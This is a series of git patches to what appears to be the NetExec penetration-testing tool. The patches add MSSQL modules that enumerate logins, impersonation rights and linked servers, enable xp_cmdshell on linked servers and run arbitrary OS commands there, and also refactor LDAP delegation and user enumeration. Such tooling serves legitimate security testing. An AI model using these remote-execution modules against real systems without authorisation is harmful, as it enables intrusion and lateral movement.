self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}") try: - self.logger.debug("Attempting to disable xp cmd shell") - self.disable_xp_cmdshell() + if not xp_cmdshell_was_enabled: + self.logger.debug("xp_cmdshell was not enabled originally, attempting to disable it.") + self.disable_xp_cmdshell() + else: + self.logger.debug("xp_cmdshell was originally enabled, leaving it enabled.") except Exception as e: self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}") + return result + def is_xp_cmdshell_enabled(self): + query = "EXEC sp_configure 'xp_cmdshell';" + self.logger.debug(f"Checking if xp_cmdshell is enabled: {query}") + result = self.mssql_conn.sql_query(query) + # Assuming the query returns a list of dictionaries with 'config_value' as the key + self.logger.debug(f"xp_cmdshell check result: {result}") + if result and result[0]["config_value"] == 1: + return True + return False + def enable_xp_cmdshell(self): query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;" self.logger.debug(f"Executing query: {query}") From a8954f1f32ca86782d8d0109feb2b180f3c5cd0f Mon Sep 17 00:00:00 2001 From: 0xQRx <157332395+0xQRx@users.noreply.github.com> Date: Sat, 24 Aug 2024 18:52:46 -0400 Subject: [PATCH 010/376] Restore removed comment. Signed-off-by: 0xQRx <157332395+0xQRx@users.noreply.github.com> --- nxc/protocols/mssql/mssqlexec.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/protocols/mssql/mssqlexec.py b/nxc/protocols/mssql/mssqlexec.py index ca90b8c8..df4ff0b5 100755 --- a/nxc/protocols/mssql/mssqlexec.py +++ b/nxc/protocols/mssql/mssqlexec.py @@ -29,6 +29,7 @@ class MSSQLEXEC: if result: result = "\n".join(line["output"] for line in result if line["output"] != "NULL") self.logger.debug(f"Concatenated result together for easier parsing: {result}") + # if you prepend SilentlyContinue it will still output the error, but it will still continue on (so it's not silent...) if "Preparing modules for first use" in result and "Completed" not in result: self.logger.error("Error when executing PowerShell (received 'preparing modules for first use'), try prepending $ProgressPreference = 'SilentlyContinue'; to your command") except Exception as e: From a9181f469d88182e1cde8ad4858c734bd7844e52 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Thu, 5 Sep 2024 12:32:23 +0300 Subject: [PATCH 011/376] Update ldap.py for find delegation Added try except on header Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 25 ++++++++++++++----------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 07c12b89..f64a0c4e 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1089,20 +1089,23 @@ class ldap(connection): def find_delegation(self): def printTable(items, header): colLen = [] - for i, col in enumerate(header): - rowMaxLen = max(len(str(row[i])) for row in items) - colLen.append(max(rowMaxLen, len(col))) + try: + for i, col in enumerate(header): + rowMaxLen = max(len(str(row[i])) for row in items) + colLen.append(max(rowMaxLen, len(col))) - # Create the format string for each row - outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)]) + # Create the format string for each row + outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)]) - # Print header - self.logger.highlight(outputFormat.format(*header)) - self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen])) + # Print header + self.logger.highlight(outputFormat.format(*header)) + self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen])) - # Print rows - for row in items: - self.logger.highlight(outputFormat.format(*row)) + # Print rows + for row in items: + self.logger.highlight(outputFormat.format(*row)) + except Exception as e: + self.logger.fail("Header Index error " + str(e)) # Seen in line rowMaxlen and highlight row variable # Building the search filter search_filter = ("(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" From 509f6d1373d26523567dd790d03d08961ee3eb95 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Thu, 5 Sep 2024 12:38:57 +0300 Subject: [PATCH 012/376] Update ldap.py ruff fix Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index f64a0c4e..b8f8b931 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1090,22 +1090,22 @@ class ldap(connection): def printTable(items, header): colLen = [] try: - for i, col in enumerate(header): - rowMaxLen = max(len(str(row[i])) for row in items) - colLen.append(max(rowMaxLen, len(col))) + for i, col in enumerate(header): + rowMaxLen = max(len(str(row[i])) for row in items) + colLen.append(max(rowMaxLen, len(col))) - # Create the format string for each row - outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)]) + # Create the format string for each row + outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)]) - # Print header - self.logger.highlight(outputFormat.format(*header)) - self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen])) + # Print header + self.logger.highlight(outputFormat.format(*header)) + self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen])) - # Print rows - for row in items: - self.logger.highlight(outputFormat.format(*row)) - except Exception as e: - self.logger.fail("Header Index error " + str(e)) # Seen in line rowMaxlen and highlight row variable + # Print rows + for row in items: + self.logger.highlight(outputFormat.format(*row)) + except Exception as e: + self.logger.fail("Header Index error " + str(e)) # Building the search filter search_filter = ("(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" From 87199f6e5cbe53305fd6677312d0e023efc3ad41 Mon Sep 17 00:00:00 2001 From: deathflamingo <124906675+deathflamingo@users.noreply.github.com> Date: Wed, 11 Sep 2024 15:10:33 +0530 Subject: [PATCH 013/376] Add files via upload Signed-off-by: deathflamingo <124906675+deathflamingo@users.noreply.github.com> --- nxc/modules/enum_impersonate.py | 45 ++++++++++++++++++++++++ nxc/modules/enum_links.py | 39 +++++++++++++++++++++ nxc/modules/enum_logins.py | 39 +++++++++++++++++++++ nxc/modules/exec_on_link.py | 43 +++++++++++++++++++++++ nxc/modules/link_enable_xp.py | 62 +++++++++++++++++++++++++++++++++ nxc/modules/link_xpcmd.py | 43 +++++++++++++++++++++++ 6 files changed, 271 insertions(+) create mode 100644 nxc/modules/enum_impersonate.py create mode 100644 nxc/modules/enum_links.py create mode 100644 nxc/modules/enum_logins.py create mode 100644 nxc/modules/exec_on_link.py create mode 100644 nxc/modules/link_enable_xp.py create mode 100644 nxc/modules/link_xpcmd.py diff --git a/nxc/modules/enum_impersonate.py b/nxc/modules/enum_impersonate.py new file mode 100644 index 00000000..5079f7af --- /dev/null +++ b/nxc/modules/enum_impersonate.py @@ -0,0 +1,45 @@ +#Author: +# deathflamingo +class NXCModule: + """Enumerate SQL Server users with impersonation rights""" + + name = "enum_impersonate" + description = "Enumerate users with impersonation privileges" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + impersonate_users = self.get_impersonate_users() + if impersonate_users: + self.context.log.success("Users with impersonation rights:") + for user in impersonate_users: + self.context.log.display(f" - {user}") + else: + self.context.log.fail("No users with impersonation rights found.") + + def get_impersonate_users(self) -> list: + """ + Fetches a list of users with impersonation rights. + + Returns: + ------- + list: List of user names. + """ + query = """ + SELECT DISTINCT b.name + FROM sys.server_permissions a + INNER JOIN sys.server_principals b + ON a.grantor_principal_id = b.principal_id + WHERE a.permission_name LIKE 'IMPERSONATE%' + """ + res = self.mssql_conn.sql_query(query) + return [user["name"] for user in res] if res else [] + def options(self, context, module_options): + pass diff --git a/nxc/modules/enum_links.py b/nxc/modules/enum_links.py new file mode 100644 index 00000000..0797fd6a --- /dev/null +++ b/nxc/modules/enum_links.py @@ -0,0 +1,39 @@ +#Author: +# deathflamingo +class NXCModule: + """Enumerate SQL Server linked servers""" + + name = "enum_links" + description = "Enumerate linked SQL Servers" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + linked_servers = self.get_linked_servers() + if linked_servers: + self.context.log.success("Linked servers found:") + for server in linked_servers: + self.context.log.display(f" - {server}") + else: + self.context.log.fail("No linked servers found.") + + def get_linked_servers(self) -> list: + """ + Fetches a list of linked servers. + + Returns: + ------- + list: List of linked server names. + """ + query = "EXEC sp_linkedservers;" + res = self.mssql_conn.sql_query(query) + return [server["SRV_NAME"] for server in res] if res else [] + def options(self, context, module_options): + pass diff --git a/nxc/modules/enum_logins.py b/nxc/modules/enum_logins.py new file mode 100644 index 00000000..7b4449f2 --- /dev/null +++ b/nxc/modules/enum_logins.py @@ -0,0 +1,39 @@ +#Author: +# deathflamingo +class NXCModule: + """Enumerate SQL Server logins""" + + name = "enum_logins" + description = "Enumerate SQL Server logins" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + logins = self.get_logins() + if logins: + self.context.log.success("Logins found:") + for login in logins: + self.context.log.display(f" - {login}") + else: + self.context.log.fail("No logins found.") + + def get_logins(self) -> list: + """ + Fetches a list of SQL Server logins. + + Returns: + ------- + list: List of login names. + """ + query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';" + res = self.mssql_conn.sql_query(query) + return [login["name"] for login in res] if res else [] + def options(self, context, module_options): + pass diff --git a/nxc/modules/exec_on_link.py b/nxc/modules/exec_on_link.py new file mode 100644 index 00000000..a5342bd1 --- /dev/null +++ b/nxc/modules/exec_on_link.py @@ -0,0 +1,43 @@ +#Author: +# deathflamingo +class NXCModule: + """Execute commands on linked servers""" + + name = "exec_on_link" + description = "Execute commands on a SQL Server linked server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + self.mssql_conn = None + self.context = None + self.linked_server = None + self.command = None + + def options(self, context, module_options): + """ + LINKED_SERVER: The name of the linked server to execute the command on. + COMMAND: The command to execute on the linked server. + """ + if "LINKED_SERVER" in module_options: + self.linked_server = module_options["LINKED_SERVER"] + if "COMMAND" in module_options: + self.command = module_options["COMMAND"] + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server or not self.command: + self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.") + return + + self.execute_on_link() + + def execute_on_link(self): + """ + Executes the specified command on the linked server. + """ + query = f"EXEC ('{self.command}') AT [{self.linked_server}];" + result = self.mssql_conn.sql_query(query) + self.context.log.display(f"Command output: {result}") diff --git a/nxc/modules/link_enable_xp.py b/nxc/modules/link_enable_xp.py new file mode 100644 index 00000000..e5f514f2 --- /dev/null +++ b/nxc/modules/link_enable_xp.py @@ -0,0 +1,62 @@ +#Author: +# deathflamingo +class NXCModule: + """Enable or disable xp_cmdshell on a linked SQL server""" + + name = "link_enable_xp" + description = "Enable or disable xp_cmdshell on a linked SQL server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + self.action = None + self.linked_server = None + + def options(self, context, module_options): + """ + Defines the options for enabling or disabling xp_cmdshell on the linked server. + ACTION Specifies whether to enable or disable: + - enable (default) + - disable + LINKED_SERVER The name of the linked SQL server to target. + """ + self.action = module_options.get("ACTION", "enable") + self.linked_server = module_options.get("LINKED_SERVER") + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server: + self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.") + return + + # Enable or disable xp_cmdshell based on action + if self.action == "enable": + self.enable_xp_cmdshell() + elif self.action == "disable": + self.disable_xp_cmdshell() + else: + self.context.log.fail(f"Unknown action: {self.action}") + + def enable_xp_cmdshell(self): + """Enable xp_cmdshell on the linked server.""" + query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Enabling advanced options on {self.linked_server}...") + out=self.query_and_get_output(query) + query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...") + out=self.query_and_get_output(query) + self.context.log.display(out) + self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}") + + def disable_xp_cmdshell(self): + """Disable xp_cmdshell on the linked server.""" + query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...") + self.query_and_get_output(query) + self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}") + + def query_and_get_output(self, query): + """Executes a query and returns the output.""" + return self.mssql_conn.sql_query(query) diff --git a/nxc/modules/link_xpcmd.py b/nxc/modules/link_xpcmd.py new file mode 100644 index 00000000..a1318a8a --- /dev/null +++ b/nxc/modules/link_xpcmd.py @@ -0,0 +1,43 @@ +#Author: +# deathflamingo +class NXCModule: + """Run xp_cmdshell commands on a linked SQL server""" + + name = "link_xpcmd" + description = "Run xp_cmdshell commands on a linked SQL server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + self.linked_server = None + self.command = None + + def options(self, context, module_options): + """ + Defines the options for running xp_cmdshell commands on a linked server. + LINKED_SERVER The name of the linked SQL server to target. + CMD The command to run via xp_cmdshell. + """ + self.linked_server = module_options.get("LINKED_SERVER") + self.command = module_options.get("CMD") + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server or not self.command: + self.context.log.fail("Please provide both LINKED_SERVER and CMD options.") + return + + self.run_xp_cmdshell(self.command) + + def run_xp_cmdshell(self, cmd): + """Run the specified command via xp_cmdshell on the linked server.""" + query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]" + self.context.log.display(f"Running command on {self.linked_server}: {cmd}") + result = self.query_and_get_output(query) + self.context.log.success(f"Command output:\n{result}") + + def query_and_get_output(self, query): + """Executes a query and returns the output.""" + return self.mssql_conn.sql_query(query) From 7db7de4f1ebfe1c3a1ac1fc290db62dd53324595 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Mon, 7 Oct 2024 10:17:21 +0300 Subject: [PATCH 014/376] Update ldap.py. Added processAttributeValue Function A new helper function was introduced to process the content of LDAP AttributeValue objects. Updated printTable Function Resource-Based Constrained Delegation Processing Added Constant Variables Constant variables were defined for userAccountControl values. Modular Code Structure The overall structure was made more modular; functions were clearly separated for better readability. Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 97 +++++++++++++++++++++++-------------------- 1 file changed, 52 insertions(+), 45 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index b8f8b931..9c2b0c60 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1087,46 +1087,54 @@ class ldap(connection): self.logger.highlight(f"{attr:<20} {vals}") def find_delegation(self): + # Constants for delegation types + UF_TRUSTED_FOR_DELEGATION = 0x80000 + UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 + UF_ACCOUNTDISABLE = 0x2 + + def processAttributeValue(attribute): + # Extract the payload value from the AttributeValue object + if hasattr(attribute, "payload"): + return str(attribute.payload) + return str(attribute) + def printTable(items, header): colLen = [] - try: - for i, col in enumerate(header): - rowMaxLen = max(len(str(row[i])) for row in items) - colLen.append(max(rowMaxLen, len(col))) + for i, col in enumerate(header): + rowMaxLen = max(len(str(row[i])) for row in items) + colLen.append(max(rowMaxLen, len(col))) - # Create the format string for each row - outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)]) + # Create the format string for each row + outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)]) - # Print header - self.logger.highlight(outputFormat.format(*header)) - self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen])) + self.logger.highlight(outputFormat.format(*header)) + self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen])) - # Print rows - for row in items: - self.logger.highlight(outputFormat.format(*row)) - except Exception as e: - self.logger.fail("Header Index error " + str(e)) + # Print rows + for row in items: + # Burada DelegationRightsTo'yu düzeltmek için join() ekleyin + row[3] = ", ".join(str(x) for x in row[3]) if isinstance(row[3], list) else row[3] + self.logger.highlight(outputFormat.format(*row)) # Building the search filter - search_filter = ("(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" - "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" - "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(UserAccountControl:1.2.840.113556.1.4.803:=8192)))" - ) - attributes = ["sAMAccountName", - "pwdLastSet", - "userAccountControl", - "objectCategory", - "msDS-AllowedToActOnBehalfOfOtherIdentity", - "msDS-AllowedToDelegateTo"] + search_filter = ("(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)" + "(UserAccountControl:1.2.840.113556.1.4.803:=524288)" + "(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" + "(!(UserAccountControl:1.2.840.113556.1.4.803:=8192)))") + attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", + "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"] + resp = self.search(search_filter, attributes, 0) answers = [] self.logger.debug(f"Total of records returned {len(resp):d}") for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: + if not isinstance(item, ldapasn1_impacket.SearchResultEntry): continue + mustCommit = False sAMAccountName = "" userAccountControl = 0 @@ -1134,8 +1142,7 @@ class ldap(connection): objectType = "" rightsTo = [] protocolTransition = 0 - - # After receiving responses we parse through to determine the type of delegation configured on each object + try: for attribute in item["attributes"]: if str(attribute["type"]) == "sAMAccountName": @@ -1154,42 +1161,42 @@ class ldap(connection): elif str(attribute["type"]) == "msDS-AllowedToDelegateTo": if protocolTransition == 0: delegation = "Constrained" - rightsTo = list(attribute["vals"]) - - # Not an elif as an object could both have rbcd and another type of delegation configured for the same object + rightsTo = [processAttributeValue(val) for val in attribute["vals"]] + + # Not an elif as an object could both have RBCD and another type of delegation if str(attribute["type"]) == "msDS-AllowedToActOnBehalfOfOtherIdentity": rbcdRights = [] rbcdObjType = [] - search_filter = "(&(|" sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(attribute["vals"][0])) + search_filter = "(&(|" for ace in sd["Dacl"].aces: - search_filter = search_filter + "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" - search_filter = search_filter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" + search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" + search_filter += ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"], sizeLimit=999) + for item2 in delegUserResp: - if isinstance(item2, ldapasn1_impacket.SearchResultEntry) is not True: + if not isinstance(item2, ldapasn1_impacket.SearchResultEntry): continue rbcdRights.append(str(item2["attributes"][0]["vals"][0])) rbcdObjType.append(str(item2["attributes"][1]["vals"][0]).split("=")[1].split(",")[0]) - - if mustCommit is True: + + if mustCommit: if int(userAccountControl) & UF_ACCOUNTDISABLE: - self.logger.debug("Bypassing disabled account %s " % sAMAccountName) + self.logger.debug(f"Bypassing disabled account {sAMAccountName}") else: for rights, objType in zip(rbcdRights, rbcdObjType): answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) - - # Print unconstrained + constrained delegation relationships - if (delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"] and mustCommit): + + if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"] and mustCommit: if int(userAccountControl) & UF_ACCOUNTDISABLE: - self.logger.debug("Bypassing disabled account %s " % sAMAccountName) + self.logger.debug(f"Bypassing disabled account {sAMAccountName}") else: - answers = [sAMAccountName, objectType, delegation, rightsTo] + answers.append([sAMAccountName, objectType, delegation, rightsTo]) except Exception as e: - self.logger.error("Skipping item, cannot process due to error %s" % str(e)) - - if len(answers) > 0: + self.logger.error(f"Skipping item, cannot process due to error {e}") + + if answers: printTable(answers, header=["AccountName", "AccountType", "DelegationType", "DelegationRightsTo"]) else: self.logger.fail("No entries found!") From aa9075e35caf02976f766e6c3caabeee8f0c2eb5 Mon Sep 17 00:00:00 2001 From: snowpeacock Date: Mon, 7 Oct 2024 16:36:00 +0200 Subject: [PATCH 015/376] fix: override of exec method by default arg --- nxc/helpers/args.py | 17 ++++++++++++++++- nxc/protocols/smb.py | 2 +- nxc/protocols/smb/proto_args.py | 17 ++++++++--------- 3 files changed, 25 insertions(+), 11 deletions(-) diff --git a/nxc/helpers/args.py b/nxc/helpers/args.py index 3713a857..2336a057 100644 --- a/nxc/helpers/args.py +++ b/nxc/helpers/args.py @@ -1,4 +1,5 @@ from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE +from argparse import Action class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter): def _get_help_string(self, action): @@ -7,4 +8,18 @@ class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter): defaulting_nargs = [OPTIONAL, ZERO_OR_MORE] if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None help_string += " (default: %(default)s)" # NORUFF - return help_string \ No newline at end of file + return help_string + + +class DefaultTrackingAction(Action): + def __init__(self, option_strings, dest, default=None, required=False, **kwargs): + # Store the default value to check later + self.default_value = default + super().__init__( + option_strings, dest, default=default, required=required, **kwargs + ) + + def __call__(self, parser, namespace, values, option_string=None): + # Set an attribute to track whether the value was explicitly set + setattr(namespace, self.dest, values) + setattr(namespace, f"{self.dest}_explicitly_set", True) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index f404c305..fe935093 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -619,7 +619,7 @@ class smb(connection): @requires_admin def execute(self, payload=None, get_output=False, methods=None): - if self.args.exec_method: + if getattr(self.args, "exec_method_explicitly_set", False): methods = [self.args.exec_method] if not methods: methods = ["wmiexec", "atexec", "smbexec", "mmcexec"] diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 35dd8fe2..f03b3095 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -1,18 +1,18 @@ from argparse import _StoreTrueAction -from nxc.helpers.args import DisplayDefaultsNotNone +from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction def proto_args(parser, parents): smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=parents, formatter_class=DisplayDefaultsNotNone) smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") - + delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy") self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)") - + dgroup = smb_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to") dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target") - + smb_parser.add_argument("--port", type=int, default=445, help="SMB port") smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share") smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int) @@ -47,7 +47,7 @@ def proto_args(parser, parents): mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated") mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy") mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") - + wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries") wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query") wmi_group.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace") @@ -69,7 +69,7 @@ def proto_args(parser, parents): files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename") cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands") - cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode") + cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode", action=DefaultTrackingAction) cmd_exec_group.add_argument("--dcom-timeout", help="DCOM connection timeout", type=int, default=5) cmd_exec_group.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results", type=int, default=10) cmd_exec_group.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec") @@ -78,7 +78,7 @@ def proto_args(parser, parents): cmd_exec_method_group = cmd_exec_group.add_mutually_exclusive_group() cmd_exec_method_group.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command") cmd_exec_method_group.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") - + posh_group = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation") posh_group.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts") posh_group.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass") @@ -86,7 +86,6 @@ def proto_args(parser, parents): posh_group.add_argument("--force-ps32", action="store_true", help="force PowerShell commands to run in a 32-bit process (may not apply to modules)") posh_group.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target") - return parser def get_conditional_action(baseAction): @@ -101,4 +100,4 @@ def get_conditional_action(baseAction): x.required = True super().__call__(parser, namespace, values, option_string) - return ConditionalAction \ No newline at end of file + return ConditionalAction From 4a47550d94d057f2d21af37bd4aee6b82a8140f0 Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Wed, 9 Oct 2024 23:40:02 +0300 Subject: [PATCH 016/376] Update users and active-users ldap.py Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 202 +++++++++++++++++++++++++++++------------- 1 file changed, 140 insertions(+), 62 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 7780a5b1..9adaa918 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -729,27 +729,67 @@ class ldap(connection): ------- None """ + def pwd_last_set_func(pwd_last_set): + """Helper function to format pwdLastSet""" + if pwd_last_set: + timestamp_seconds = int(pwd_last_set) / 10**7 + start_date = datetime(1601, 1, 1) + parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S") + if parsed_pw_last_set == "1601-01-01 00:00:00": + return "" + return parsed_pw_last_set + if len(self.args.users) > 0: self.logger.debug(f"Dumping users: {', '.join(self.args.users)}") search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})" else: self.logger.debug("Trying to dump all users") - search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)" + search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(&(objectclass=*))" # default to these attributes to mirror the SMB --users functionality request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"] resp = self.search(search_filter, request_attributes, sizeLimit=0) if resp: - # I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it + # Handle the case for anonymous LDAP bindings if self.username == "": - self.logger.display(f"Total records returned: {len(resp):d}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - self.logger.highlight(f"{item['objectName']}") - return + users = [] + self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<20}{'-Description-'}") + for item in resp: + if not isinstance(item, ldapasn1_impacket.SearchResultEntry): + continue + + # Initialize default values + sAMAccountName = "N/A" + pwdcount = "N/A" + parsed_pw_last_set = "N/A" + description = "N/A" + + # Initialize the username as a fallback + if "objectName" in item: + # Extract the username from the objectName + sAMAccountName = str(item["objectName"]).split(",")[0].split("=")[1] + + # Iterate over the attributes for each entry + for attribute in item["attributes"]: + attr_type = str(attribute["type"]) + attr_vals = attribute["vals"] + + if attr_type == "sAMAccountName": + sAMAccountName = str(attr_vals[0]) + elif attr_type == "badPwdCount": + pwdcount = str(attr_vals[0]) + elif attr_type == "pwdLastSet": + pwd_last_set = str(attr_vals[0]) + parsed_pw_last_set = pwd_last_set_func(pwd_last_set) + elif attr_type == "description": + description = str(attr_vals[0]) + + self.logger.highlight(f"{sAMAccountName:<30}{parsed_pw_last_set:<20}{pwdcount:<20}{description}") + + return + users = parse_result_attributes(resp) # we print the total records after we parse the results since often SearchResultReferences are returned self.logger.display(f"Enumerated {len(users):d} domain users: {self.domain}") @@ 